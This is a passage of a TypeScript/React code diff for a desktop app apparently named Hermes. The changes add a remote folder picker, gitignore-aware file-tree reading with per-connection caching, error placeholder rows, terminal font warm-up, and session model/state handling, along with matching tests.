+          { name: 'keep.ts', path: 'C:\\repo\\src\\keep.ts', isDirectory: false }
+        ])
+      }
+
+      if (path === 'C:/repo') {
+        return ok([{ name: '.gitignore', path: 'C:/repo/.gitignore', isDirectory: false }])
+      }
+
+      if (path === 'C:/repo/src') {
+        return ok([])
+      }
+
+      return ok([])
+    })
+    readFileDataUrl.mockResolvedValue(dataUrl('# Unicode 路径规则\nsrc/*.log\nsrc/临时.txt\n'))
+
+    const result = await readProjectDir('C:\\repo\\src', 'C:\\repo')
+
+    expect(result.entries.map(entry => entry.name)).toEqual(['keep.ts'])
+    expect(gitRoot).toHaveBeenCalledWith('C:/repo')
+    expect(readFileDataUrl).toHaveBeenCalledWith('C:/repo/.gitignore')
+  })
+
+  it('does not fetch .gitignore contents when listings do not contain .gitignore', async () => {
+    gitRoot.mockResolvedValue('/repo')
+    readDir.mockImplementation(async path => {
+      if (path === '/repo/src') {
+        return ok([{ name: 'debug.log', path: '/repo/src/debug.log', isDirectory: false }])
+      }
+
+      return ok([])
+    })
+
+    const result = await readProjectDir('/repo/src', '/repo')
+
+    expect(result.entries.map(entry => entry.name)).toEqual(['debug.log'])
+    expect(readFileDataUrl).not.toHaveBeenCalled()
+  })
+})

apps/desktop/src/app/right-sidebar/files/ipc.ts

@@ -1,5 +1,6 @@
 import ignore from 'ignore'
 
+import { desktopFsCacheKey, desktopGitRoot, readDesktopDir, readDesktopFileDataUrl } from '@/lib/desktop-fs'
 import type { HermesReadDirEntry, HermesReadDirResult } from '@/global'
 
 export type ProjectTreeEntry = HermesReadDirEntry
@@ -27,7 +28,7 @@ function decodeDataUrl(dataUrl: string) {
 }
 
 function clean(path: string) {
-  return path.replace(/\/+$/, '') || '/'
+  return path.replace(/\\/g, '/').replace(/\/+$/, '') || '/'
 }
 
 /** Strict POSIX-style relative path; null if `child` is not inside `root`. */
@@ -63,15 +64,11 @@ function ancestorDirs(root: string, dir: string) {
 }
 
 async function gitRootFor(start: string) {
-  if (!window.hermesDesktop?.gitRoot) {
-    return null
-  }
-
-  const key = clean(start)
+  const key = `${desktopFsCacheKey()}:${clean(start)}`
   let cached = gitRootCache.get(key)
 
   if (!cached) {
-    cached = window.hermesDesktop.gitRoot(key)
+    cached = desktopGitRoot(start)
     gitRootCache.set(key, cached)
   }
 
@@ -80,18 +77,14 @@ async function gitRootFor(start: string) {
 
 /** Read .gitignore at `dir` if it actually exists — never probe missing files. */
 async function readGitignore(dir: string): Promise<GitignoreRule | null> {
-  if (!window.hermesDesktop?.readDir || !window.hermesDesktop.readFileDataUrl) {
-    return null
-  }
-
   try {
-    const listing = await window.hermesDesktop.readDir(dir)
+    const listing = await readDesktopDir(dir)
 
     if (!listing.entries.some(e => e.name === '.gitignore' && !e.isDirectory)) {
       return null
     }
 
-    const text = decodeDataUrl(await window.hermesDesktop.readFileDataUrl(`${dir}/.gitignore`))
+    const text = decodeDataUrl(await readDesktopFileDataUrl(`${dir}/.gitignore`))
 
     return { base: dir, ig: ignore().add(text) }
   } catch {
@@ -100,11 +93,11 @@ async function readGitignore(dir: string): Promise<GitignoreRule | null> {
 }
 
 async function gitignoreFor(dir: string) {
-  const key = clean(dir)
+  const key = `${desktopFsCacheKey()}:${clean(dir)}`
   let cached = gitignoreCache.get(key)
 
   if (!cached) {
-    cached = readGitignore(key)
+    cached = readGitignore(clean(dir))
     gitignoreCache.set(key, cached)
   }
 
@@ -142,9 +135,10 @@ export async function readProjectDir(dirPath: string, rootPath = dirPath): Promi
     return { entries: [], error: 'no-bridge' }
   }
 
-  const result = await window.hermesDesktop.readDir(dirPath)
+  const result = await readDesktopDir(dirPath)
+  const entries = result?.entries ?? []
 
-  return { ...result, entries: await filterIgnored(result.entries, rootPath, dirPath) }
+  return { ...result, entries: await filterIgnored(entries, rootPath, dirPath) }
 }
 
 export function clearProjectDirCache(rootPath?: string) {
@@ -155,7 +149,7 @@ export function clearProjectDirCache(rootPath?: string) {
     return
   }
 
-  const key = clean(rootPath)
+  const key = `${desktopFsCacheKey()}:${clean(rootPath)}`
   gitRootCache.delete(key)
   gitignoreCache.delete(key)
 }

apps/desktop/src/app/right-sidebar/files/remote-picker.tsx

@@ -0,0 +1,177 @@
+import { useEffect, useMemo, useState } from 'react'
+
+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
+import { Dialog, DialogContent, DialogDescription, DialogTitle } from '@/components/ui/dialog'
+import { useI18n } from '@/i18n'
+import { readDesktopDir, setDesktopFsRemotePicker } from '@/lib/desktop-fs'
+import { cn } from '@/lib/utils'
+
+function clean(path: string) {
+  return path.replace(/\/+$/, '') || '/'
+}
+
+function parentDir(path: string) {
+  const value = clean(path)
+  if (value === '/') {
+    return '/'
+  }
+  const parent = value.slice(0, value.lastIndexOf('/'))
+  return parent || '/'
+}
+
+function pathName(path: string) {
+  return path.split('/').filter(Boolean).pop() || path
+}
+
+interface PendingSelection {
+  defaultPath: string
+  resolve: (paths: string[]) => void
+  title: string
+}
+
+export function RemoteFolderPicker() {
+  const { t } = useI18n()
+  const r = t.rightSidebar
+  const [pending, setPending] = useState<PendingSelection | null>(null)
+  const [currentPath, setCurrentPath] = useState('/')
+  const [entries, setEntries] = useState<Array<{ name: string; path: string }>>([])
+  const [error, setError] = useState<string | null>(null)
+  const [loading, setLoading] = useState(false)
+
+  useEffect(() => {
+    setDesktopFsRemotePicker({
+      selectPaths: options =>
+        new Promise(resolve => {
+          const defaultPath = clean(options?.defaultPath || '/')
+          setCurrentPath(defaultPath)
+          setPending({ defaultPath, resolve, title: options?.title || r.remotePickerTitle })
+        })
+    })
+    return () => setDesktopFsRemotePicker(null)
+  }, [r.remotePickerTitle])
+
+  useEffect(() => {
+    if (!pending) {
+      return
+    }
+
+    let active = true
+    setLoading(true)
+    setError(null)
+
+    void readDesktopDir(currentPath)
+      .then(result => {
+        if (!active) {
+          return
+        }
+        if (result.error) {
+          setError(result.error)
+          setEntries([])
+          return
+        }
+        setEntries(result.entries.filter(entry => entry.isDirectory).map(entry => ({ name: entry.name, path: entry.path })))
+      })
+      .catch(err => {
+        if (active) {
+          setError(err instanceof Error ? err.message : String(err))
+          setEntries([])
+        }
+      })
+      .finally(() => {
+        if (active) {
+          setLoading(false)
+        }
+      })
+
+    return () => {
+      active = false
+    }
+  }, [currentPath, pending])
+
+  const crumbs = useMemo(() => {
+    const parts = clean(currentPath).split('/').filter(Boolean)
+    const out = [{ label: '/', path: '/' }]
+    let acc = ''
+    for (const part of parts) {
+      acc += `/${part}`
+      out.push({ label: part, path: acc })
+    }
+    return out
+  }, [currentPath])
+
+  const close = (paths: string[] = []) => {
+    pending?.resolve(paths)
+    setPending(null)
+    setEntries([])
+    setError(null)
+  }
+
+  return (
+    <Dialog onOpenChange={open => !open && close()} open={Boolean(pending)}>
+      <DialogContent className="max-w-lg gap-0 overflow-hidden p-0">
+        <div className="border-b border-border/70 px-4 py-3">
+          <DialogTitle className="text-sm">{pending?.title || r.remotePickerTitle}</DialogTitle>
+          <DialogDescription className="mt-1 text-xs">{r.remotePickerDescription}</DialogDescription>
+        </div>
+
+        <div className="flex min-h-[22rem] flex-col">
+          <div className="flex flex-wrap items-center gap-1 border-b border-border/50 px-3 py-2 text-xs text-muted-foreground">
+            {crumbs.map((crumb, index) => (
+              <button
+                className={cn('rounded px-1.5 py-0.5 hover:bg-muted hover:text-foreground', index === crumbs.length - 1 && 'text-foreground')}
+                key={crumb.path}
+                onClick={() => setCurrentPath(crumb.path)}
+                type="button"
+              >
+                {crumb.label}
+              </button>
+            ))}
+          </div>
+
+          <div className="min-h-0 flex-1 overflow-y-auto p-2">
+            <FolderRow disabled={currentPath === '/'} name=".." onClick={() => setCurrentPath(parentDir(currentPath))} />
+            {loading ? (
+              <div className="flex items-center gap-2 px-2 py-3 text-xs text-muted-foreground">
+                <Codicon name="loading" size="0.8rem" spinning />
+                {r.loadingFiles}
+              </div>
+            ) : error ? (
+              <div className="px-2 py-3 text-xs text-destructive">{r.unreadableBody(error)}</div>
+            ) : entries.length === 0 ? (
+              <div className="px-2 py-3 text-xs text-muted-foreground">{r.emptyBody}</div>
+            ) : (
+              entries.map(entry => <FolderRow key={entry.path} name={pathName(entry.path)} onClick={() => setCurrentPath(entry.path)} />)
+            )}
+          </div>
+        </div>
+
+        <div className="flex items-center justify-between gap-2 border-t border-border/70 px-4 py-3">
+          <div className="min-w-0 truncate text-xs text-muted-foreground">{currentPath}</div>
+          <div className="flex shrink-0 items-center gap-2">
+            <Button onClick={() => close()} size="sm" variant="ghost">
+              {t.common.cancel}
+            </Button>
+            <Button onClick={() => close([currentPath])} size="sm">
+              {r.remotePickerSelect}
+            </Button>
+          </div>
+        </div>
+      </DialogContent>
+    </Dialog>
+  )
+}
+
+function FolderRow({ disabled = false, name, onClick }: { disabled?: boolean; name: string; onClick: () => void }) {
+  return (
+    <button
+      className="flex w-full items-center gap-2 rounded-md px-2 py-1.5 text-left text-xs text-(--ui-text-secondary) hover:bg-(--ui-row-hover-background) hover:text-foreground disabled:pointer-events-none disabled:opacity-40"
+      disabled={disabled}
+      onClick={onClick}
+      type="button"
+    >
+      <Codicon name="folder" size="0.875rem" />
+      <span className="min-w-0 truncate">{name}</span>
+    </button>
+  )
+}

apps/desktop/src/app/right-sidebar/files/tree.tsx

@@ -7,6 +7,7 @@ import { useResizeObserver } from '@/hooks/use-resize-observer'
 import { useI18n } from '@/i18n'
 import { cn } from '@/lib/utils'
 
+import { getFileTreeDndManager } from './dnd-manager'
 import type { TreeNode } from './use-project-tree'
 
 const ROW_HEIGHT = 22
@@ -94,6 +95,7 @@ export function ProjectTree({
           disableDrag
           disableDrop
           disableEdit
+          dndManager={getFileTreeDndManager()}
           height={size.height}
           indent={INDENT}
           initialOpenState={openState}
@@ -145,7 +147,8 @@ function ProjectTreeRow({
   }
 
   const isFolder = node.data.isDirectory
-  const isPlaceholder = node.data.id.endsWith('::__loading__')
+  const isPlaceholder = Boolean(node.data.placeholder)
+  const isErrorPlaceholder = node.data.placeholder === 'error'
 
   return (
     <div
@@ -210,8 +213,10 @@ function ProjectTreeRow({
       )}
       {!isFolder && <span aria-hidden className="w-3 shrink-0" />}
       <span aria-hidden className="flex w-3.5 items-center justify-center text-(--ui-text-tertiary)">
-        {isPlaceholder ? (
+        {isPlaceholder && !isErrorPlaceholder ? (
           <Codicon name="loading" size="0.75rem" spinning />
+        ) : isErrorPlaceholder ? (
+          <Codicon name="warning" size="0.75rem" />
         ) : isFolder ? (
           <Codicon name={node.isOpen ? 'folder-opened' : 'folder'} size="0.875rem" />
         ) : (

apps/desktop/src/app/right-sidebar/files/use-project-tree.test.ts

@@ -1,19 +1,24 @@
-import { act, renderHook, waitFor } from '@testing-library/react'
+import { act, cleanup, renderHook, waitFor } from '@testing-library/react'
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
 
+import { $connection } from '@/store/session'
 import type { HermesReadDirResult } from '@/global'
 
+import { clearProjectDirCache, readProjectDir } from './ipc'
 import { resetProjectTreeState, useProjectTree } from './use-project-tree'
 
 const readDir = vi.fn<(path: string) => Promise<HermesReadDirResult>>()
 
 beforeEach(() => {
+  $connection.set(null)
   resetProjectTreeState()
   readDir.mockReset()
   ;(window as unknown as { hermesDesktop: { readDir: typeof readDir } }).hermesDesktop = { readDir }
 })
 
 afterEach(() => {
+  cleanup()
+  $connection.set(null)
   resetProjectTreeState()
   delete (window as unknown as { hermesDesktop?: unknown }).hermesDesktop
 })
@@ -106,7 +111,37 @@ describe('useProjectTree', () => {
     expect(readDir).toHaveBeenCalledTimes(1)
   })
 
-  it('captures per-folder error code and leaves the folder expandable but empty', async () => {
+  it('reads gitignore from the real path while caching per connection', async () => {
+    const readFileDataUrl = vi.fn(async () => `data:text/plain;base64,${btoa('ignored.log\n')}`)
+    const gitRoot = vi.fn(async () => '/repo')
+    readDir.mockImplementation(async path => {
+      if (path === '/repo') return ok([{ name: '.gitignore', path: '/repo/.gitignore', isDirectory: false }])
+      if (path === '/repo/src') {
+        return ok([
+          { name: 'app.ts', path: '/repo/src/app.ts', isDirectory: false },
+          { name: 'ignored.log', path: '/repo/src/ignored.log', isDirectory: false }
+        ])
+      }
+      throw new Error(`unexpected path ${path}`)
+    })
+    ;(window as unknown as { hermesDesktop: unknown }).hermesDesktop = { gitRoot, readDir, readFileDataUrl }
+
+    $connection.set({ baseUrl: 'local-a', mode: 'local' } as never)
+    await expect(readProjectDir('/repo/src', '/repo')).resolves.toMatchObject({
+      entries: [{ name: 'app.ts', path: '/repo/src/app.ts', isDirectory: false }]
+    })
+    expect(readDir).toHaveBeenCalledWith('/repo')
+    expect(readDir).not.toHaveBeenCalledWith(expect.stringContaining('local-a'))
+
+    $connection.set({ baseUrl: 'local-b', mode: 'local' } as never)
+    clearProjectDirCache()
+    await expect(readProjectDir('/repo/src', '/repo')).resolves.toMatchObject({
+      entries: [{ name: 'app.ts', path: '/repo/src/app.ts', isDirectory: false }]
+    })
+    expect(readDir.mock.calls.filter(([path]) => path === '/repo')).toHaveLength(2)
+  })
+
+  it('captures per-folder error code and shows an error placeholder child', async () => {
     readDir.mockResolvedValueOnce(ok([{ name: 'priv', path: '/p/priv', isDirectory: true }]))
     readDir.mockResolvedValueOnce({ entries: [], error: 'EACCES' })
 
@@ -119,7 +154,14 @@ describe('useProjectTree', () => {
     })
 
     expect(result.current.data[0].error).toBe('EACCES')
-    expect(result.current.data[0].children).toEqual([])
+    expect(result.current.data[0].children).toEqual([
+      {
+        id: '/p/priv::__error__',
+        isDirectory: false,
+        name: 'Unable to read (EACCES)',
+        placeholder: 'error'
+      }
+    ])
   })
 
   it('dedupes concurrent loadChildren calls for the same id', async () => {

apps/desktop/src/app/right-sidebar/files/use-project-tree.ts

@@ -2,6 +2,8 @@ import { useStore } from '@nanostores/react'
 import { atom } from 'nanostores'
 import { useCallback, useEffect, useMemo } from 'react'
 
+import { $connection } from '@/store/session'
+
 import { clearProjectDirCache, readProjectDir } from './ipc'
 
 export interface TreeNode {
@@ -14,11 +16,14 @@ export interface TreeNode {
   children?: TreeNode[]
   /** True while a readDir for this folder is in flight. */
   loading?: boolean
+  /** Synthetic loading/error rows are not real filesystem entries. */
+  placeholder?: 'error' | 'loading'
   /** Last error code from readDir (e.g. EACCES). Cleared on next successful load. */
   error?: string
 }
 
 const PLACEHOLDER_ID = '__loading__'
+const ERROR_PLACEHOLDER_ID = '__error__'
 
 function makeNode(path: string, name: string, isDirectory: boolean): TreeNode {
   return { id: path, isDirectory, name }
@@ -43,7 +48,16 @@ function patchNode(nodes: TreeNode[] | undefined | null, id: string, patch: (n:
 }
 
 function placeholderChild(parentId: string): TreeNode {
-  return { id: `${parentId}::${PLACEHOLDER_ID}`, isDirectory: false, name: 'Loading…' }
+  return { id: `${parentId}::${PLACEHOLDER_ID}`, isDirectory: false, name: 'Loading…', placeholder: 'loading' }
+}
+
+function errorChild(parentId: string, error: string | undefined): TreeNode {
+  return {
+    id: `${parentId}::${ERROR_PLACEHOLDER_ID}`,
+    isDirectory: false,
+    name: `Unable to read (${error || 'read-error'})`,
+    placeholder: 'error'
+  }
 }
 
 export interface UseProjectTreeResult {
@@ -84,6 +98,7 @@ const initialState: ProjectTreeState = {
 const inflight = new Set<string>()
 const $projectTree = atom<ProjectTreeState>(initialState)
 let nextRootRequestId = 0
+let lastConnectionKey = ''
 
 function setProjectTree(updater: (current: ProjectTreeState) => ProjectTreeState) {
   $projectTree.set(updater($projectTree.get()))
@@ -145,6 +160,7 @@ async function loadRoot(cwd: string, { force = false }: { force?: boolean } = {}
 }
 
 export function resetProjectTreeState() {
+  lastConnectionKey = ''
   clearProjectTree()
   clearProjectDirCache()
 }
@@ -158,6 +174,8 @@ export function resetProjectTreeState() {
  */
 export function useProjectTree(cwd: string): UseProjectTreeResult {
   const state = useStore($projectTree)
+  const connection = useStore($connection)
+  const connectionKey = `${connection?.mode || 'local'}:${connection?.profile || ''}:${connection?.baseUrl || ''}`
 
   const refreshRoot = useCallback(() => loadRoot(cwd, { force: true }), [cwd])
 
@@ -227,7 +245,7 @@ export function useProjectTree(cwd: string): UseProjectTreeResult {
             ...n,
             loading: false,
             error: error || undefined,
-            children: error ? [] : entries.map(e => makeNode(e.path, e.name, e.isDirectory))
+            children: error ? [errorChild(n.id, error)] : entries.map(e => makeNode(e.path, e.name, e.isDirectory))
           }))
         }
       })
@@ -236,8 +254,15 @@ export function useProjectTree(cwd: string): UseProjectTreeResult {
   )
 
   useEffect(() => {
+    const connectionChanged = lastConnectionKey !== '' && lastConnectionKey !== connectionKey
+    lastConnectionKey = connectionKey
+    if (connectionChanged) {
+      clearProjectDirCache()
+      void loadRoot(cwd, { force: true })
+      return
+    }
     void loadRoot(cwd)
-  }, [cwd])
+  }, [connectionKey, cwd])
 
   return useMemo(
     () => ({

apps/desktop/src/app/right-sidebar/index.tsx

@@ -7,6 +7,7 @@ import { Codicon } from '@/components/ui/codicon'
 import { Loader } from '@/components/ui/loader'
 import { Tip } from '@/components/ui/tooltip'
 import { useI18n } from '@/i18n'
+import { selectDesktopPaths } from '@/lib/desktop-fs'
 import { normalizeOrLocalPreviewTarget } from '@/lib/local-preview'
 import { cn } from '@/lib/utils'
 import { $panesFlipped } from '@/store/layout'
@@ -16,6 +17,7 @@ import { $currentCwd } from '@/store/session'
 
 import { SidebarPanelLabel } from '../shell/sidebar-label'
 
+import { RemoteFolderPicker } from './files/remote-picker'
 import { ProjectTree } from './files/tree'
 import { useProjectTree } from './files/use-project-tree'
 
@@ -54,7 +56,7 @@ export function RightSidebarPane({ onActivateFile, onActivateFolder, onChangeCwd
   const canCollapse = Object.values(openState).some(Boolean)
 
   const chooseFolder = async () => {
-    const selected = await window.hermesDesktop?.selectPaths({
+    const selected = await selectDesktopPaths({
       defaultPath: hasCwd ? currentCwd : undefined,
       directories: true,
       multiple: false,
@@ -90,6 +92,8 @@ export function RightSidebarPane({ onActivateFile, onActivateFolder, onChangeCwd
           : 'border-l shadow-[inset_0.0625rem_0_0_color-mix(in_srgb,white_18%,transparent)]'
       )}
     >
+      <RemoteFolderPicker />
+
       <FilesystemTab
         canCollapse={canCollapse}
         collapseNonce={collapseNonce}

apps/desktop/src/app/right-sidebar/terminal/use-terminal-session.ts

@@ -315,8 +315,11 @@ export function useTerminalSession({ cwd, onAddSelectionToChat }: UseTerminalSes
       allowTransparency: true,
       convertEol: true,
       cursorBlink: true,
-      fontFamily: "'SF Mono', 'Menlo', 'Cascadia Code', 'JetBrains Mono', monospace",
+      fontFamily: "'JetBrains Mono', 'Cascadia Code', 'SF Mono', Menlo, Consolas, monospace",
       fontSize: 11,
+      fontWeight: '400',
+      fontWeightBold: '700',
+      letterSpacing: 0,
       lineHeight: 1.12,
       // Full-screen TUIs (hermes --tui, vim) grab the mouse, so a plain drag
       // can't select — ⌥-drag (macOS) / Shift-drag (else) forces a native
@@ -598,13 +601,13 @@ export function useTerminalSession({ cwd, onAddSelectionToChat }: UseTerminalSes
       startSession()
     }
 
-    const fonts = typeof document !== 'undefined' ? document.fonts : undefined
+    // fonts.ready settles only already-requested faces; bold/italic aren't asked
+    // for until styled output paints (past atlas init), so warm them up front.
+    const warm = document.fonts?.load
+      ? Promise.allSettled(['400', '700', 'italic 400'].map(v => document.fonts.load(`${v} 11px 'JetBrains Mono'`)))
+      : Promise.resolve()
 
-    if (fonts?.ready) {
-      void fonts.ready.then(mount, mount)
-    } else {
-      mount()
-    }
+    void warm.then(mount, mount)
 
     return () => {
       disposed = true

apps/desktop/src/app/session-picker-overlay.tsx

@@ -0,0 +1,32 @@
+import { useStore } from '@nanostores/react'
+
+import { SessionPickerDialog } from '@/components/session-picker'
+import { $gatewayState, $selectedStoredSessionId, $sessionPickerOpen, setSessionPickerOpen } from '@/store/session'
+
+interface SessionPickerOverlayProps {
+  onResume: (storedSessionId: string) => void
+}
+
+/**
+ * Mounts the session picker that `/resume` (and `/sessions`, `/switch`) opens —
+ * the desktop equivalent of the TUI's sessions overlay. Resuming runs through
+ * the same `resumeSession` path the sidebar uses.
+ */
+export function SessionPickerOverlay({ onResume }: SessionPickerOverlayProps) {
+  const open = useStore($sessionPickerOpen)
+  const gatewayOpen = useStore($gatewayState) === 'open'
+  const activeStoredSessionId = useStore($selectedStoredSessionId)
+
+  if (!gatewayOpen) {
+    return null
+  }
+
+  return (
+    <SessionPickerDialog
+      activeStoredSessionId={activeStoredSessionId}
+      onOpenChange={setSessionPickerOpen}
+      onResume={onResume}
+      open={open}
+    />
+  )
+}

apps/desktop/src/app/session/hooks/use-message-stream.ts

@@ -64,6 +64,67 @@ interface QueuedStreamDeltas {
   reasoning: string
 }
 
+type SessionRuntimeStatePatch = Partial<
+  Pick<
+    ClientSessionState,
+    | 'branch'
+    | 'cwd'
+    | 'fast'
+    | 'model'
+    | 'personality'
+    | 'provider'
+    | 'reasoningEffort'
+    | 'serviceTier'
+    | 'yolo'
+  >
+>
+
+function sessionInfoStatePatch(payload: GatewayEventPayload | undefined): SessionRuntimeStatePatch {
+  const patch: SessionRuntimeStatePatch = {}
+
+  if (typeof payload?.model === 'string') {
+    patch.model = payload.model || ''
+  }
+
+  if (typeof payload?.provider === 'string') {
+    patch.provider = payload.provider || ''
+  }
+
+  if (typeof payload?.cwd === 'string') {
+    patch.cwd = payload.cwd
+  }
+
+  if (typeof payload?.branch === 'string') {
+    patch.branch = payload.branch
+  }
+
+  if (typeof payload?.personality === 'string') {
+    patch.personality = normalizePersonalityValue(payload.personality)
+  }
+
+  if (typeof payload?.reasoning_effort === 'string') {
+    patch.reasoningEffort = payload.reasoning_effort
+  }
+
+  if (typeof payload?.service_tier === 'string') {
+    patch.serviceTier = payload.service_tier
+  }
+
+  if (typeof payload?.fast === 'boolean') {
+    patch.fast = payload.fast
+  }
+
+  if (typeof payload?.yolo === 'boolean') {
+    patch.yolo = payload.yolo
+  }
+
+  return patch
+}
+
+function hasSessionInfoStatePatch(patch: SessionRuntimeStatePatch): boolean {
+  return Object.keys(patch).length > 0
+}
+
 // Minimum gap between two assistant-text flushes during a stream. Was 16ms
 // (rAF only), which at typical LLM token rates of ~30-80 tok/sec meant every
 // token got its own React commit + Streamdown markdown re-parse, scaling
@@ -628,13 +689,13 @@ export function useMessageStream({
         // Apply session-scoped fields when the event targets the active
         // session, OR when it's a global broadcast and we have no session.
         const apply = explicitSid ? isActiveEvent : !activeSessionIdRef.current
+        const statePatch = sessionInfoStatePatch(payload)
+        const hasStatePatch = hasSessionInfoStatePatch(statePatch)
         const modelChanged = typeof payload?.model === 'string'
         const providerChanged = typeof payload?.provider === 'string'
         const runningChanged = typeof payload?.running === 'boolean'
 
         if (apply) {
-          const runtimeInfo: { branch?: string; cwd?: string } = {}
-
           if (modelChanged) {
             setCurrentModel(payload!.model || '')
           }
@@ -645,20 +706,10 @@ export function useMessageStream({
 
           if (typeof payload?.cwd === 'string') {
             setCurrentCwd(payload.cwd)
-            runtimeInfo.cwd = payload.cwd
           }
 
           if (typeof payload?.branch === 'string') {
             setCurrentBranch(payload.branch)
-            runtimeInfo.branch = payload.branch
-          }
-
-          if (sessionId && (runtimeInfo.cwd !== undefined || runtimeInfo.branch !== undefined)) {
-            updateSessionState(sessionId, state => ({
-              ...state,
-              branch: runtimeInfo.branch ?? state.branch,
-              cwd: runtimeInfo.cwd ?? state.cwd
-            }))
           }
 
           if (typeof payload?.personality === 'string') {
@@ -680,7 +731,18 @@ export function useMessageStream({
           if (typeof payload?.yolo === 'boolean') {
             setYoloActive(payload.yolo)
           }
+        }
 
+        if (sessionId && hasStatePatch) {
+          updateSessionState(sessionId, state => ({
+            ...state,
+            ...statePatch,
+            branch: statePatch.branch ?? state.branch,
+            cwd: statePatch.cwd ?? state.cwd
+          }))
+        }
+
+        if (apply) {
           if (runningChanged && sessionId) {
             updateSessionState(sessionId, state => {
               const busy = Boolean(payload!.running)
@@ -871,6 +933,8 @@ export function useMessageStream({
         // raise it and wait — the sidebar flags "needs input" and the inline bar
         // surfaces once the user focuses that chat.
         setApprovalRequest({
+          // false only when a tirith warning forbids it; backend omits the field otherwise.
+          allowPermanent: payload?.allow_permanent !== false,
           command: typeof payload?.command === 'string' ? payload.command : '',
           description: typeof payload?.description === 'string' ? payload.description : 'dangerous command',
           sessionId: sessionId ?? null

apps/desktop/src/app/session/hooks/use-model-controls.test.tsx

@@ -0,0 +1,77 @@
+import { renderHook } from '@testing-library/react'
+import { QueryClient } from '@tanstack/react-query'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { getGlobalModelInfo } from '@/hermes'
+import {
+  $activeSessionId,
+  $currentModel,
+  $currentProvider,
+  setCurrentModel,
+  setCurrentProvider
+} from '@/store/session'
+
+import { useModelControls } from './use-model-controls'
+
+vi.mock('@/hermes', () => ({
+  getGlobalModelInfo: vi.fn(),
+  setGlobalModel: vi.fn()
+}))
+
+describe('useModelControls.refreshCurrentModel', () => {
+  beforeEach(() => {
+    $activeSessionId.set(null)
+    setCurrentModel('')
+    setCurrentProvider('')
+  })
+
+  afterEach(() => {
+    vi.restoreAllMocks()
+    $activeSessionId.set(null)
+    setCurrentModel('')
+    setCurrentProvider('')
+  })
+
+  it('applies the global model when there is no active runtime session', async () => {
+    vi.mocked(getGlobalModelInfo).mockResolvedValue({
+      model: 'openai/gpt-5.5',
+      provider: 'openai-codex'
+    })
+
+    const { result } = renderHook(() =>
+      useModelControls({
+        activeSessionId: null,
+        queryClient: new QueryClient(),
+        requestGateway: vi.fn()
+      })
+    )
+
+    await result.current.refreshCurrentModel()
+
+    expect($currentModel.get()).toBe('openai/gpt-5.5')
+    expect($currentProvider.get()).toBe('openai-codex')
+  })
+
+  it('does not clobber the active session footer state with global model info', async () => {
+    setCurrentModel('deepseek/deepseek-v4-pro')
+    setCurrentProvider('deepseek')
+    $activeSessionId.set('runtime-1')
+    vi.mocked(getGlobalModelInfo).mockResolvedValue({
+      model: 'openai/gpt-5.5',
+      provider: 'openai-codex'
+    })
+
+    const { result } = renderHook(() =>
+      useModelControls({
+        activeSessionId: 'runtime-1',
+        queryClient: new QueryClient(),
+        requestGateway: vi.fn()
+      })
+    )
+
+    await result.current.refreshCurrentModel()
+
+    expect($currentModel.get()).toBe('deepseek/deepseek-v4-pro')
+    expect($currentProvider.get()).toBe('deepseek')
+  })
+})

apps/desktop/src/app/session/hooks/use-model-controls.ts

@@ -4,7 +4,13 @@ import { useCallback } from 'react'
 import { getGlobalModelInfo, setGlobalModel } from '@/hermes'
 import { useI18n } from '@/i18n'
 import { notifyError } from '@/store/notifications'
-import { $currentModel, $currentProvider, setCurrentModel, setCurrentProvider } from '@/store/session'
+import {
+  $activeSessionId,
+  $currentModel,
+  $currentProvider,
+  setCurrentModel,
+  setCurrentProvider
+} from '@/store/session'
 import type { ModelOptionsResponse } from '@/types/hermes'
 
 interface ModelSelection {
@@ -39,6 +45,13 @@ export function useModelControls({ activeSessionId, queryClient, requestGateway
     try {
       const result = await getGlobalModelInfo()
 
+      // A resumed/live session owns the footer model state. Global config
+      // refreshes (gateway boot, profile swap, settings save) must not clobber
+      // the active chat's runtime model/provider in the status bar.
+      if ($activeSessionId.get()) {
+        return
+      }
+
       if (typeof result.model === 'string') {
         setCurrentModel(result.model)
       }

apps/desktop/src/app/session/hooks/use-prompt-actions.test.tsx

@@ -1,6 +1,6 @@
 import { cleanup, render, waitFor } from '@testing-library/react'
 import type { MutableRefObject } from 'react'
-import { useEffect } from 'react'
+import { useEffect, useRef } from 'react'
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
 
 import { $composerAttachments, type ComposerAttachment } from '@/store/composer'
@@ -42,6 +42,7 @@ function sessionInfo(overrides: Partial<SessionInfo> = {}): SessionInfo {
 }
 
 interface HarnessHandle {
+  cancelRun: () => Promise<void>
   steerPrompt: (text: string) => Promise<boolean>
   submitText: (
     text: string,
@@ -55,6 +56,7 @@ function Harness({
   onSeedState,
   refreshSessions,
   requestGateway,
+  resumeStoredSession,
   storedSessionId
 }: {
   busyRef?: MutableRefObject<boolean>
@@ -62,6 +64,7 @@ function Harness({
   onSeedState?: (state: Record<string, unknown>) => void
   refreshSessions: () => Promise<void>
   requestGateway: <T>(method: string, params?: Record<string, unknown>) => Promise<T>
+  resumeStoredSession?: (storedSessionId: string) => Promise<void> | void
   storedSessionId?: null | string
 }) {
   const activeSessionIdRef: MutableRefObject<string | null> = { current: RUNTIME_SESSION_ID }
@@ -69,6 +72,12 @@ function Harness({
     current: storedSessionId === undefined ? RUNTIME_SESSION_ID : storedSessionId
   }
   const localBusyRef = busyRef ?? { current: false }
+  const stateRef = useRef({
+    messages: [],
+    busy: false,
+    awaitingResponse: false,
+    interrupted: true
+  } as never)
 
   const actions = usePromptActions({
     activeSessionId: RUNTIME_SESSION_ID,
@@ -79,17 +88,14 @@ function Harness({
     handleSkinCommand: () => '',
     refreshSessions,
     requestGateway,
+    resumeStoredSession: resumeStoredSession ?? (() => undefined),
     selectedStoredSessionIdRef,
     startFreshSessionDraft: () => undefined,
     sttEnabled: false,
     updateSessionState: (_sessionId, updater) => {
       // Seed with interrupted:true so we can prove a fresh submit clears it.
-      const next = updater({
-        messages: [],
-        busy: false,
-        awaitingResponse: false,
-        interrupted: true
-      } as never) as unknown as Record<string, unknown>
+      const next = updater(stateRef.current) as unknown as Record<string, unknown>
+      stateRef.current = next as never
       onSeedState?.(next)
 
       return next as never
@@ -97,8 +103,12 @@ function Harness({
   })
 
   useEffect(() => {
-    onReady({ steerPrompt: actions.steerPrompt, submitText: actions.submitText })
-  }, [actions.steerPrompt, actions.submitText, onReady])
+    onReady({
+      cancelRun: actions.cancelRun,
+      steerPrompt: actions.steerPrompt,
+      submitText: actions.submitText
+    })
